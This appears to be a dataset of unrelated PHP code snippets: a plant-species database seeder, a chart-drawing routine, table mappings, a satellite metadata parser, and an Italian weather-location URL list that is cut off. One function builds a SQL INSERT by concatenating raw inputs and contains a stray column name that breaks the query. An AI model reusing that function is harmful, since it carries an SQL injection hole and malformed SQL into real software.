'https://i.ibb.co/KLgk3Jn/muda.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n\n\n //IPE-BRANCO\n //https://ferramentas.sibbr.gov.br/ficha/bin/view/especie/tabebuia_roseoalba\n //http://servicos.jbrj.gov.br/flora/search/tabebuia_roseoalba\n //http://reflora.jbrj.gov.br/reflora/listaBrasil/FichaPublicaTaxonUC/FichaPublicaTaxonUC.do?id=FB114338\n //https://www.webambiente.gov.br/\n $planta = Planta::create(\n [\n 'nome_popular' => 'ipê-branco,piuxinga,piruxinga,pertinga,piúva-branca,ipê-do-cerrado',\n 'autoria' => '(Ridl.) Sandwith',\n 'nome_cientifico' => 'Tabebuia roseoalba',\n 'e_panc' => 0,\n 'ep_floracao_inicio' => 'ago',\n 'ep_floracao_fim' => 'dez',\n 'grau_ameaca_iucn' => 'ne',\n 'descricao' => '',\n ]\n );\n $planta->biomas()->attach(Bioma::whereIn('cod', ['mata_atlantica', 'pantanal', 'cerrado'])->get('id')->pluck('id')->toArray());\n $planta->dist_geografica()->attach(Estado::whereIn('sigla', ['GO', 'MG', 'MS', 'SP'])->get('id')->pluck('id')->toArray());\n Imagem::create(['url' => 'https://i.ibb.co/7yMm7Ct/individuo.jpg', 'autor' => 'Agroicone-ISA-TNC-Baobá', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/CVqTGH8/fruto.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/B4RpH7V/tronco.jpg', 'autor' => 'Agroicone-ISA-TNC-Baobá', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/FVt6TbD/fruto2.jpg', 'autor' => 'Agroicone-ISA-TNC-Baobá', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/YdnDMjC/flor.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/4VTYT1B/muda.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n\n\n //IPE-AMARELO\n //https://ferramentas.sibbr.gov.br/ficha/bin/view/especie/tabebuia_aurea\n //http://servicos.jbrj.gov.br/flora/search/tabebuia_aurea\n //http://reflora.jbrj.gov.br/reflora/listaBrasil/FichaPublicaTaxonUC/FichaPublicaTaxonUC.do?id=FB114257\n //https://www.webambiente.gov.br/\n $planta = Planta::create(\n [\n 'nome_popular' => 'ipê-caraíba,caraíba,caraíba-do-cerrado,carobeira,claraíba,crabeira,caraúba,ipê-do-cerrado,carnaúba,ipê,paratudo,piúva-amarela,pratudinho,craibeira,para-tudo-do-campo,craíba,ipê-do-campo,pau-d’arco-do-campo,ipê-amarelo-do-cerrado',\n 'autoria' => '(Silva Manso) Benth. & Hook. F ex S. Moore',\n 'nome_cientifico' => 'Tabebuia aurea',\n 'e_panc' => 0,\n 'ep_floracao_inicio' => 'ago',\n 'ep_floracao_fim' => 'out',\n 'grau_ameaca_iucn' => 'ne',\n 'descricao' => '',\n ]\n );\n $planta->biomas()->attach(Bioma::whereIn('cod', ['caatinga', 'cerrado', 'pantanal'])->get('id')->pluck('id')->toArray());\n $planta->dist_geografica()->attach(Estado::whereIn('sigla', ['AL', 'AM', 'AP', 'BA', 'CE', 'DF', 'GO', 'MA', 'MG', 'MS', 'MT', 'PB', 'PE', 'PI', 'PR', 'RN', 'SE', 'SP', 'TO'])->get('id')->pluck('id')->toArray());\n Imagem::create(['url' => 'https://i.ibb.co/X3Fcv0p/individuo.jpg', 'autor' => 'Iria Ishii', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/ZWqwD5J/fruto.jpg', 'autor' => 'Iria Ishii', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/jRvMrJV/plantula.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/0QFBWC6/flor.jpg', 'autor' => 'Iria Ishii', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/Tw8bdGy/muda.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/7tvRCSb/semente.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n }", "function graficoPoligno() {\n $maxValue = $this->desenhaBase();\n\n $labelY = $this->margem;\n\n $idx = 0;\n foreach ($this->vetor as $label => $item) {\n $points = array();\n $arPonto = array();\n $arValor = array();\n $idx++;\n\n $color = $this->getColor($idx, 0, 0, 0, 60);\n $x = $this->margem;\n $y = $this->gtamanho + $this->margem;\n\n foreach ($item as $referencia => $value) {\n $val = ($this->gtamanho + ($this->margem * 1)) - (floor((($this->gtamanho) * $value) / $maxValue));\n\n $points[] = $x;\n $points[] = $y;\n $points[] = ($x + $this->columSize);\n $points[] = $val;\n\n $arPonto[] = array(\n 'x' => ($x + $this->columSize),\n 'y' => $val\n );\n\n $arValor[] = array(\n 'x' => ($x + ($this->columSize + $this->margem)),\n 'y' => ($val - 3),\n 'value' => $value\n );\n\n $y = $val;\n $x += $this->columSize;\n }\n\n $points[] = $this->gtamanho + $this->margem;\n $points[] = $this->gtamanho + $this->margem;\n\n imagefilledpolygon($this->image, $points, (count($points) / 2), $color);\n\n if($this->opMostrarPontoValor) {\n foreach ($arPonto as $item) {\n $this->desenhaPonto($item['x'], $item['y'], null);\n }\n\n foreach ($arValor as $item) {\n imagestring($this->image, 2, $item['x'], ($item['y'] - $this->margem), utf8_decode($item['value']), null);\n }\n }\n\n $this->desenhaLabel($label, $color, $labelY);\n $labelY += ($this->margem * 2);\n }\n }", "function getRelaciones() {\r\n //arreglo relacion de tablas\r\n //---------------------------->DEPARTAMENTO(OPERADOR)\r\n //---------------------------->TEMA(TIPO)\r\n\t\t$relacion_tablas['documento_tema']['dti_id']['tabla']='documento_tipo';\r\n\t\t$relacion_tablas['documento_tema']['dti_id']['campo']='dti_id';\r\n\t\t$relacion_tablas['documento_tema']['dti_id']['remplazo']='dti_nombre';\r\n\t\t//---------------------------->TEMA(TIPO)\r\n\r\n\t\t//---------------------------->SUBTEMA(TEMA)\r\n\t\t$relacion_tablas['documento_subtema']['dot_id']['tabla']='documento_tema';\r\n\t\t$relacion_tablas['documento_subtema']['dot_id']['campo']='dot_id';\r\n\t\t$relacion_tablas['documento_subtema']['dot_id']['remplazo']='dot_nombre';\r\n //---------------------------->SUBTEMA(TEMA)\r\n\r\n //---------------------------->DOCUMENTO(OPERADOR)\r\n $relacion_tablas['documento_actor']['ope_id']['tabla']='operador';\r\n\t\t$relacion_tablas['documento_actor']['ope_id']['campo']='ope_id';\r\n\t\t$relacion_tablas['documento_actor']['ope_id']['remplazo']='ope_nombre';\r\n //---------------------------->DOCUMENTO(TIPO DE ACTOR)\r\n $relacion_tablas['documento_actor']['dta_id']['tabla']='documento_tipo_actor';\r\n\t\t$relacion_tablas['documento_actor']['dta_id']['campo']='dta_id';\r\n\t\t$relacion_tablas['documento_actor']['dta_id']['remplazo']='dta_nombre';\r\n //----------------------------<DOCUMENTO\r\n\r\n\t\t//---------------------------->DEPARTAMENTO(OPERADOR)\r\n\t\t$relacion_tablas['departamento']['ope_id']['tabla']='operador';\r\n\t\t$relacion_tablas['departamento']['ope_id']['campo']='ope_id';\r\n\t\t$relacion_tablas['departamento']['ope_id']['remplazo']='ope_nombre';\r\n\t\t//---------------------------->DEPARTAMENTO(OPERADOR)\r\n\r\n\t\t//---------------------------->DEPARTAMENTO(REGION)\r\n\t\t$relacion_tablas['departamento']['dpr_id']['tabla']='departamento_region';\r\n\t\t$relacion_tablas['departamento']['dpr_id']['campo']='dpr_id';\r\n\t\t$relacion_tablas['departamento']['dpr_id']['remplazo']='dpr_nombre';\r\n //---------------------------->DEPARTAMENTO(REGION)\r\n\r\n\t\t//---------------------------->MUNICIPIO(DEPARTAMENTO)\r\n\t\t$relacion_tablas['municipio']['dep_id']['tabla']='departamento';\r\n\t\t$relacion_tablas['municipio']['dep_id']['campo']='dep_id';\r\n\t\t$relacion_tablas['municipio']['dep_id']['remplazo']='dep_nombre';\r\n //---------------------------->MUNICIPIO(DEPARTAMENTO)\r\n\r\n return $relacion_tablas;\r\n }", "function getTitulos() {\n //arreglo para remplazar los titulos de las columnas \n $titulos_campos['dep_id'] = COD_DEPARTAMENTO;\n $titulos_campos['dep_nombre'] = NOMBRE_DEPARTAMENTO;\n\n $titulos_campos['der_id'] = COD_DEPARTAMENTO_REGION;\n $titulos_campos['der_nombre'] = NOMBRE_DEPARTAMENTO_REGION;\n\n $titulos_campos['mun_id'] = COD_MUNICIPIO;\n $titulos_campos['mun_nombre'] = NOMBRE_MUNICIPIO;\n $titulos_campos['mun_poblacion'] = POB_MUNICIPIO;\n\n $titulos_campos['ope_id'] = OPERADOR;\n $titulos_campos['ope_nombre'] = OPERADOR_NOMBRE;\n $titulos_campos['ope_sigla'] = OPERADOR_SIGLA;\n $titulos_campos['ope_contrato_no'] = OPERADOR_CONTRATO_NRO;\n $titulos_campos['ope_contrato_valor'] = OPERADOR_CONTRATO_VALOR;\n\n $titulos_campos['Id_Ciudad'] = TITULO_CIUDAD;\n $titulos_campos['Id_Pais'] = NOMBRE_PAIS;\n $titulos_campos['Nombre_Ciudad'] = NOMBRE_CIUDAD;\n\n $titulos_campos['Nombre_Pais'] = NOMBRE_PAIS;\n\n $titulos_campos['Id_Familia'] = TITULO_FAMILIAS;\n $titulos_campos['Descripcion_Familia'] = DESCRIPCION_FAMILIA;\n\n $titulos_campos['Id_Moneda'] = TITULO_MONEDA;\n $titulos_campos['Descripcion_Moneda'] = DESCRIPCION_MONEDA;\n\n $titulos_campos['cfi_numero'] = CUENTA_NUMERO;\n $titulos_campos['cfi_nombre'] = CUENTA_NOMBRE;\n\n $titulos_campos['cft_id'] = CUENTA_TIPO;\n $titulos_campos['cft_nombre'] = CUENTA_TIPO;\n\n $titulos_campos['mov_descripcion'] = MOVIMIENTO_DESCRIPCION;\n $titulos_campos['mov_tipo'] = MOVIMIENTO_TIPO;\n\n $titulos_campos['idCentroPoblado'] = TITULO_CENTRO_POBLADO;\n $titulos_campos['codigoDane'] = CODIGO_DANE_CENTRO_POBLADO;\n $titulos_campos['nombre'] = NOMBRE_CENTRO_POBLADO;\n $titulos_campos['mun_id'] = MUNICIPIO_CENTRO_POBLADO;\n\n $titulos_campos['enc_tipo_nombre'] = TIPO_INSTRUMENTO;\n $titulos_campos['enc_tipo_desc'] = DESCRIPCION_ACTIVIDAD;\n\n $titulos_campos['Descripcion_Tipo'] = \"Plan\";\n \n $titulos_campos['descripcionTipoHallazgo'] = DESCRIPCION_TIPO_HALLAZGO;\n $titulos_campos['descripcion'] = AREA_TIPO_HALLAZGO;\n\n return $titulos_campos;\n }", "function crearArea($codigoArea,$descripcionArea,$codigoJefe,$cod_rolf)\r\n {\r\n $cnn = new conexion();\r\n $con = $cnn->conectarsql();\r\n \r\n $sql=\"INSERT INTO [dbo].[tb_area]\r\n ([cod_area]\r\n ,[des_area]\r\n ,[cod_jefe]\r\n ,[cod_rolf]\r\n )\r\n cod_rolf\r\n VALUES\r\n ('\".$codigoArea.\"'\r\n ,'\".$descripcionArea.\"'\r\n ,'\".$codigoJefe.\"'\r\n ,\".$cod_rolf.\")\";\r\n \r\n $consulta = sqlsrv_query ($con,$sql);\r\n \r\n if( $consulta === false ) {\r\n $rpta = \"No se grabó correctamente.\";\r\n }else{\r\n $rpta = \"Se grabó correctamente.\";\r\n }\r\n \r\n return $rpta; \r\n }", "function readDIMAP($filePath, $isFormosat) {\n\n libxml_use_internal_errors(true);\n\n $doc = new DOMDocument();\n $doc->loadXML(file_get_contents($filePath));\n \n $errors = libxml_get_errors();\n\n if (!$isFormosat) {\n $isFirst = 1;\n $footprint = 'POLYGON((';\n \n $vertices = $doc->getElementsByTagname('Dataset_Frame')->item(0)->getElementsByTagname('Vertex');\n // Bug of some F2 files...VERTEX is set instead of Vertex !!\n if ($vertices->length === 0) {\n $vertices = $doc->getElementsByTagname('Dataset_Frame')->item(0)->getElementsByTagname('VERTEX'); \n }\n foreach($vertices as $vertex) {\n $lon = trim($vertex->getElementsByTagName('FRAME_LON')->item(0)->nodeValue);\n $lat = trim($vertex->getElementsByTagName('FRAME_LAT')->item(0)->nodeValue);\n if ($isFirst === 1) {\n $lon1 = $lon;\n $lat1 = $lat;\n $isFirst = 0;\n }\n $footprint .= ((float) $lon) . ' ' . ((float) $lat) . ',';\n \n }\n $footprint .= ((float) $lon1) . ' ' . ((float) $lat1) . '))';\n }\n\n else {\n /*\n * Footprint as WKT POLYGON\n * \n * Formosat metadata are buggy and coordinates are not ordered so we\n * must use the line/pixel info to reorder geographical\n * coordinates...\n */\n $quads = array();\n $firstLine = 999999999;\n $lastLine = -999999999;\n $firstPixel = 999999999;\n $lastPixel = -999999999;\n\n $vertices = $doc->getElementsByTagname('Dataset_Frame')->item(0)->getElementsByTagname('Vertex');\n // Bug of some F2 files...VERTEX is set instead of Vertex !!\n if ($vertices->length === 0) {\n $vertices = $doc->getElementsByTagname('Dataset_Frame')->item(0)->getElementsByTagname('VERTEX'); \n }\n \n foreach($vertices as $vertex) {\n $lon = trim($vertex->getElementsByTagName('FRAME_LON')->item(0)->nodeValue);\n $lat = trim($vertex->getElementsByTagName('FRAME_LAT')->item(0)->nodeValue);\n $line = trim($vertex->getElementsByTagName('FRAME_ROW')->item(0)->nodeValue);\n $pixel = trim($vertex->getElementsByTagName('FRAME_COL')->item(0)->nodeValue);\n \n // Find the image extrema\n $firstLine = min($firstLine, $line);\n $firstPixel = min($firstPixel, $pixel);\n $lastLine = max($lastLine, $line);\n $lastPixel = max($lastPixel, $pixel);\n \n array_push($quads, array(\n 'line' => $line,\n 'pixel' => $pixel,\n 'lon' => ((float) $lon),\n 'lat' => ((float) $lat)\n ));\n }\n\n // Simple computation UL,UR,LL,LR coordinates\n $footprint = polygonFromQuad($quads);\n }\n\n // Only process first scene\n $scene = $doc->getElementsByTagname('Source_Information')->item(0);\n $sceneInfo = $scene->getElementsByTagname('Scene_Source')->item(0);\n $time = $sceneInfo->getElementsByTagname('IMAGING_DATE')->item(0)->nodeValue . 'T' . $sceneInfo->getElementsByTagname('IMAGING_TIME')->item(0)->nodeValue;\n $mission = $sceneInfo->getElementsByTagname('MISSION')->item(0)->nodeValue;\n \n // CNES (SPOT) or DMC ?\n if ($isFormosat) {\n $parentIdentifier = \"urn:ogc:def:EOP:FORMOSAT\"; \n }\n else if (strrpos($doc->getElementsByTagname('METADATA_PROFILE')->item(0)->nodeValue, \"DMC\") === 0) {\n $parentIdentifier = \"urn:ogc:def:EOP:DMC:\" . $mission;\n }\n else {\n $parentIdentifier = \"urn:ogc:def:EOP:SPOT:ALL\"; \n }\n\n return array(\n 'identifier' => $parentIdentifier . ':' . correctIdentifier($scene->getElementsByTagname('SOURCE_ID')->item(0)->nodeValue),\n 'parentidentifier' => $parentIdentifier,\n 'startdate' => $time,\n 'enddate' => $time,\n 'platform' => $mission . ($sceneInfo->getElementsByTagname('MISSION_INDEX')->item(0) ? ' ' . $sceneInfo->getElementsByTagname('MISSION_INDEX')->item(0)->nodeValue : ''),\n 'instrument' => $sceneInfo->getElementsByTagname('INSTRUMENT')->item(0)->nodeValue . ($sceneInfo->getElementsByTagname('INSTRUMENT_INDEX')->item(0) ? ' ' . $sceneInfo->getElementsByTagname('INSTRUMENT_INDEX')->item(0)->nodeValue : ''),\n 'footprint' => $footprint\n );\n\n}", "function trebi_getUrlLoc($idloc)\n{\n$trebi_url_locs = array (1 => \"/meteo/Abano+terme\",2 => \"/meteo/Abbadia+cerreto\",3 => \"/meteo/Abbadia+lariana\",4 => \"/meteo/Abbadia+San+Salvatore\",5 => \"/meteo/Abbasanta\",6 => \"/meteo/Abbateggio\",7 => \"/meteo/Abbiategrasso\",8 => \"/meteo/Abetone\",8399 => \"/meteo/Abriola\",10 => \"/meteo/Acate\",11 => \"/meteo/Accadia\",12 => \"/meteo/Acceglio\",8369 => \"/meteo/Accettura\",14 => \"/meteo/Acciano\",15 => \"/meteo/Accumoli\",16 => \"/meteo/Acerenza\",17 => \"/meteo/Acerno\",18 => \"/meteo/Acerra\",19 => \"/meteo/Aci+bonaccorsi\",20 => \"/meteo/Aci+castello\",21 => \"/meteo/Aci+Catena\",22 => \"/meteo/Aci+Sant'Antonio\",23 => \"/meteo/Acireale\",24 => \"/meteo/Acquacanina\",25 => \"/meteo/Acquafondata\",26 => \"/meteo/Acquaformosa\",27 => \"/meteo/Acquafredda\",8750 => \"/meteo/Acquafredda\",28 => \"/meteo/Acqualagna\",29 => \"/meteo/Acquanegra+cremonese\",30 => \"/meteo/Acquanegra+sul+chiese\",31 => \"/meteo/Acquapendente\",32 => \"/meteo/Acquappesa\",33 => \"/meteo/Acquarica+del+capo\",34 => \"/meteo/Acquaro\",35 => \"/meteo/Acquasanta+terme\",36 => \"/meteo/Acquasparta\",37 => \"/meteo/Acquaviva+collecroce\",38 => \"/meteo/Acquaviva+d'Isernia\",39 => \"/meteo/Acquaviva+delle+fonti\",40 => \"/meteo/Acquaviva+picena\",41 => \"/meteo/Acquaviva+platani\",42 => \"/meteo/Acquedolci\",43 => \"/meteo/Acqui+terme\",44 => \"/meteo/Acri\",45 => \"/meteo/Acuto\",46 => \"/meteo/Adelfia\",47 => \"/meteo/Adrano\",48 => \"/meteo/Adrara+San+Martino\",49 => \"/meteo/Adrara+San+Rocco\",50 => \"/meteo/Adria\",51 => \"/meteo/Adro\",52 => \"/meteo/Affi\",53 => \"/meteo/Affile\",54 => \"/meteo/Afragola\",55 => \"/meteo/Africo\",56 => \"/meteo/Agazzano\",57 => \"/meteo/Agerola\",58 => \"/meteo/Aggius\",59 => \"/meteo/Agira\",60 => \"/meteo/Agliana\",61 => \"/meteo/Agliano\",62 => \"/meteo/Aglie'\",63 => \"/meteo/Aglientu\",64 => \"/meteo/Agna\",65 => \"/meteo/Agnadello\",66 => \"/meteo/Agnana+calabra\",8598 => \"/meteo/Agnano\",67 => \"/meteo/Agnone\",68 => \"/meteo/Agnosine\",69 => \"/meteo/Agordo\",70 => \"/meteo/Agosta\",71 => \"/meteo/Agra\",72 => \"/meteo/Agrate+brianza\",73 => \"/meteo/Agrate+conturbia\",74 => \"/meteo/Agrigento\",75 => \"/meteo/Agropoli\",76 => \"/meteo/Agugliano\",77 => \"/meteo/Agugliaro\",78 => \"/meteo/Aicurzio\",79 => \"/meteo/Aidomaggiore\",80 => \"/meteo/Aidone\",81 => \"/meteo/Aielli\",82 => \"/meteo/Aiello+calabro\",83 => \"/meteo/Aiello+del+Friuli\",84 => \"/meteo/Aiello+del+Sabato\",85 => \"/meteo/Aieta\",86 => \"/meteo/Ailano\",87 => \"/meteo/Ailoche\",88 => \"/meteo/Airasca\",89 => \"/meteo/Airola\",90 => \"/meteo/Airole\",91 => \"/meteo/Airuno\",92 => \"/meteo/Aisone\",93 => \"/meteo/Ala\",94 => \"/meteo/Ala+di+Stura\",95 => \"/meteo/Ala'+dei+Sardi\",96 => \"/meteo/Alagna\",97 => \"/meteo/Alagna+Valsesia\",98 => \"/meteo/Alanno\",99 => \"/meteo/Alano+di+Piave\",100 => \"/meteo/Alassio\",101 => \"/meteo/Alatri\",102 => \"/meteo/Alba\",103 => \"/meteo/Alba+adriatica\",104 => \"/meteo/Albagiara\",105 => \"/meteo/Albairate\",106 => \"/meteo/Albanella\",8386 => \"/meteo/Albano+di+lucania\",108 => \"/meteo/Albano+laziale\",109 => \"/meteo/Albano+Sant'Alessandro\",110 => \"/meteo/Albano+vercellese\",111 => \"/meteo/Albaredo+arnaboldi\",112 => \"/meteo/Albaredo+d'Adige\",113 => \"/meteo/Albaredo+per+San+Marco\",114 => \"/meteo/Albareto\",115 => \"/meteo/Albaretto+della+torre\",116 => \"/meteo/Albavilla\",117 => \"/meteo/Albenga\",118 => \"/meteo/Albera+ligure\",119 => \"/meteo/Alberobello\",120 => \"/meteo/Alberona\",121 => \"/meteo/Albese+con+Cassano\",122 => \"/meteo/Albettone\",123 => \"/meteo/Albi\",124 => \"/meteo/Albiano\",125 => \"/meteo/Albiano+d'ivrea\",126 => \"/meteo/Albiate\",127 => \"/meteo/Albidona\",128 => \"/meteo/Albignasego\",129 => \"/meteo/Albinea\",130 => \"/meteo/Albino\",131 => \"/meteo/Albiolo\",132 => \"/meteo/Albisola+marina\",133 => \"/meteo/Albisola+superiore\",134 => \"/meteo/Albizzate\",135 => \"/meteo/Albonese\",136 => \"/meteo/Albosaggia\",137 => \"/meteo/Albugnano\",138 => \"/meteo/Albuzzano\",139 => \"/meteo/Alcamo\",140 => \"/meteo/Alcara+li+Fusi\",141 => \"/meteo/Aldeno\",142 => \"/meteo/Aldino\",143 => \"/meteo/Ales\",144 => \"/meteo/Alessandria\",145 => \"/meteo/Alessandria+del+Carretto\",146 => \"/meteo/Alessandria+della+Rocca\",147 => \"/meteo/Alessano\",148 => \"/meteo/Alezio\",149 => \"/meteo/Alfano\",150 => \"/meteo/Alfedena\",151 => \"/meteo/Alfianello\",152 => \"/meteo/Alfiano+natta\",153 => \"/meteo/Alfonsine\",154 => \"/meteo/Alghero\",8532 => \"/meteo/Alghero+Fertilia\",155 => \"/meteo/Algua\",156 => \"/meteo/Ali'\",157 => \"/meteo/Ali'+terme\",158 => \"/meteo/Alia\",159 => \"/meteo/Aliano\",160 => \"/meteo/Alice+bel+colle\",161 => \"/meteo/Alice+castello\",162 => \"/meteo/Alice+superiore\",163 => \"/meteo/Alife\",164 => \"/meteo/Alimena\",165 => \"/meteo/Aliminusa\",166 => \"/meteo/Allai\",167 => \"/meteo/Alleghe\",168 => \"/meteo/Allein\",169 => \"/meteo/Allerona\",170 => \"/meteo/Alliste\",171 => \"/meteo/Allumiere\",172 => \"/meteo/Alluvioni+cambio'\",173 => \"/meteo/Alme'\",174 => \"/meteo/Almenno+San+Bartolomeo\",175 => \"/meteo/Almenno+San+Salvatore\",176 => \"/meteo/Almese\",177 => \"/meteo/Alonte\",8259 => \"/meteo/Alpe+Cermis\",8557 => \"/meteo/Alpe+Devero\",8162 => \"/meteo/Alpe+di+Mera\",8565 => \"/meteo/Alpe+di+Siusi\",8755 => \"/meteo/Alpe+Giumello\",8264 => \"/meteo/Alpe+Lusia\",8559 => \"/meteo/Alpe+Nevegal\",8239 => \"/meteo/Alpe+Tre+Potenze\",8558 => \"/meteo/Alpe+Veglia\",8482 => \"/meteo/Alpet\",178 => \"/meteo/Alpette\",179 => \"/meteo/Alpignano\",180 => \"/meteo/Alseno\",181 => \"/meteo/Alserio\",182 => \"/meteo/Altamura\",8474 => \"/meteo/Altare\",184 => \"/meteo/Altavilla+irpina\",185 => \"/meteo/Altavilla+milicia\",186 => \"/meteo/Altavilla+monferrato\",187 => \"/meteo/Altavilla+silentina\",188 => \"/meteo/Altavilla+vicentina\",189 => \"/meteo/Altidona\",190 => \"/meteo/Altilia\",191 => \"/meteo/Altino\",192 => \"/meteo/Altissimo\",193 => \"/meteo/Altivole\",194 => \"/meteo/Alto\",195 => \"/meteo/Altofonte\",196 => \"/meteo/Altomonte\",197 => \"/meteo/Altopascio\",8536 => \"/meteo/Altopiano+dei+Fiorentini\",8662 => \"/meteo/Altopiano+della+Sila\",8640 => \"/meteo/Altopiano+di+Renon\",198 => \"/meteo/Alviano\",199 => \"/meteo/Alvignano\",200 => \"/meteo/Alvito\",201 => \"/meteo/Alzano+lombardo\",202 => \"/meteo/Alzano+scrivia\",203 => \"/meteo/Alzate+brianza\",204 => \"/meteo/Amalfi\",205 => \"/meteo/Amandola\",206 => \"/meteo/Amantea\",207 => \"/meteo/Amaro\",208 => \"/meteo/Amaroni\",209 => \"/meteo/Amaseno\",210 => \"/meteo/Amato\",211 => \"/meteo/Amatrice\",212 => \"/meteo/Ambivere\",213 => \"/meteo/Amblar\",214 => \"/meteo/Ameglia\",215 => \"/meteo/Amelia\",216 => \"/meteo/Amendolara\",217 => \"/meteo/Ameno\",218 => \"/meteo/Amorosi\",219 => \"/meteo/Ampezzo\",220 => \"/meteo/Anacapri\",221 => \"/meteo/Anagni\",8463 => \"/meteo/Anagni+casello\",222 => \"/meteo/Ancarano\",223 => \"/meteo/Ancona\",8267 => \"/meteo/Ancona+Falconara\",224 => \"/meteo/Andali\",225 => \"/meteo/Andalo\",226 => \"/meteo/Andalo+valtellino\",227 => \"/meteo/Andezeno\",228 => \"/meteo/Andora\",229 => \"/meteo/Andorno+micca\",230 => \"/meteo/Andrano\",231 => \"/meteo/Andrate\",232 => \"/meteo/Andreis\",233 => \"/meteo/Andretta\",234 => \"/meteo/Andria\",235 => \"/meteo/Andriano\",236 => \"/meteo/Anela\",237 => \"/meteo/Anfo\",238 => \"/meteo/Angera\",239 => \"/meteo/Anghiari\",240 => \"/meteo/Angiari\",241 => \"/meteo/Angolo+terme\",242 => \"/meteo/Angri\",243 => \"/meteo/Angrogna\",244 => \"/meteo/Anguillara+sabazia\",245 => \"/meteo/Anguillara+veneta\",246 => \"/meteo/Annicco\",247 => \"/meteo/Annone+di+brianza\",248 => \"/meteo/Annone+veneto\",249 => \"/meteo/Anoia\",8302 => \"/meteo/Antagnod\",250 => \"/meteo/Antegnate\",251 => \"/meteo/Anterivo\",8211 => \"/meteo/Anterselva+di+Sopra\",252 => \"/meteo/Antey+saint+andre'\",253 => \"/meteo/Anticoli+Corrado\",254 => \"/meteo/Antignano\",255 => \"/meteo/Antillo\",256 => \"/meteo/Antonimina\",257 => \"/meteo/Antrodoco\",258 => \"/meteo/Antrona+Schieranco\",259 => \"/meteo/Anversa+degli+Abruzzi\",260 => \"/meteo/Anzano+del+Parco\",261 => \"/meteo/Anzano+di+Puglia\",8400 => \"/meteo/Anzi\",263 => \"/meteo/Anzio\",264 => \"/meteo/Anzola+d'Ossola\",265 => \"/meteo/Anzola+dell'Emilia\",266 => \"/meteo/Aosta\",8548 => \"/meteo/Aosta+Saint+Christophe\",267 => \"/meteo/Apecchio\",268 => \"/meteo/Apice\",269 => \"/meteo/Apiro\",270 => \"/meteo/Apollosa\",271 => \"/meteo/Appiano+Gentile\",272 => \"/meteo/Appiano+sulla+strada+del+vino\",273 => \"/meteo/Appignano\",274 => \"/meteo/Appignano+del+Tronto\",275 => \"/meteo/Aprica\",276 => \"/meteo/Apricale\",277 => \"/meteo/Apricena\",278 => \"/meteo/Aprigliano\",279 => \"/meteo/Aprilia\",280 => \"/meteo/Aquara\",281 => \"/meteo/Aquila+di+Arroscia\",282 => \"/meteo/Aquileia\",283 => \"/meteo/Aquilonia\",284 => \"/meteo/Aquino\",8228 => \"/meteo/Arabba\",285 => \"/meteo/Aradeo\",286 => \"/meteo/Aragona\",287 => \"/meteo/Aramengo\",288 => \"/meteo/Arba\",8487 => \"/meteo/Arbatax\",289 => \"/meteo/Arborea\",290 => \"/meteo/Arborio\",291 => \"/meteo/Arbus\",292 => \"/meteo/Arcade\",293 => \"/meteo/Arce\",294 => \"/meteo/Arcene\",295 => \"/meteo/Arcevia\",296 => \"/meteo/Archi\",297 => \"/meteo/Arcidosso\",298 => \"/meteo/Arcinazzo+romano\",299 => \"/meteo/Arcisate\",300 => \"/meteo/Arco\",301 => \"/meteo/Arcola\",302 => \"/meteo/Arcole\",303 => \"/meteo/Arconate\",304 => \"/meteo/Arcore\",305 => \"/meteo/Arcugnano\",306 => \"/meteo/Ardara\",307 => \"/meteo/Ardauli\",308 => \"/meteo/Ardea\",309 => \"/meteo/Ardenno\",310 => \"/meteo/Ardesio\",311 => \"/meteo/Ardore\",8675 => \"/meteo/Ardore+Marina\",8321 => \"/meteo/Aremogna\",312 => \"/meteo/Arena\",313 => \"/meteo/Arena+po\",314 => \"/meteo/Arenzano\",315 => \"/meteo/Arese\",316 => \"/meteo/Arezzo\",317 => \"/meteo/Argegno\",318 => \"/meteo/Argelato\",319 => \"/meteo/Argenta\",320 => \"/meteo/Argentera\",321 => \"/meteo/Arguello\",322 => \"/meteo/Argusto\",323 => \"/meteo/Ari\",324 => \"/meteo/Ariano+irpino\",325 => \"/meteo/Ariano+nel+polesine\",326 => \"/meteo/Ariccia\",327 => \"/meteo/Arielli\",328 => \"/meteo/Arienzo\",329 => \"/meteo/Arignano\",330 => \"/meteo/Aritzo\",331 => \"/meteo/Arizzano\",332 => \"/meteo/Arlena+di+castro\",333 => \"/meteo/Arluno\",8677 => \"/meteo/Arma+di+Taggia\",334 => \"/meteo/Armeno\",8405 => \"/meteo/Armento\",336 => \"/meteo/Armo\",337 => \"/meteo/Armungia\",338 => \"/meteo/Arnad\",339 => \"/meteo/Arnara\",340 => \"/meteo/Arnasco\",341 => \"/meteo/Arnesano\",342 => \"/meteo/Arola\",343 => \"/meteo/Arona\",344 => \"/meteo/Arosio\",345 => \"/meteo/Arpaia\",346 => \"/meteo/Arpaise\",347 => \"/meteo/Arpino\",348 => \"/meteo/Arqua'+Petrarca\",349 => \"/meteo/Arqua'+polesine\",350 => \"/meteo/Arquata+del+tronto\",351 => \"/meteo/Arquata+scrivia\",352 => \"/meteo/Arre\",353 => \"/meteo/Arrone\",354 => \"/meteo/Arsago+Seprio\",355 => \"/meteo/Arsie'\",356 => 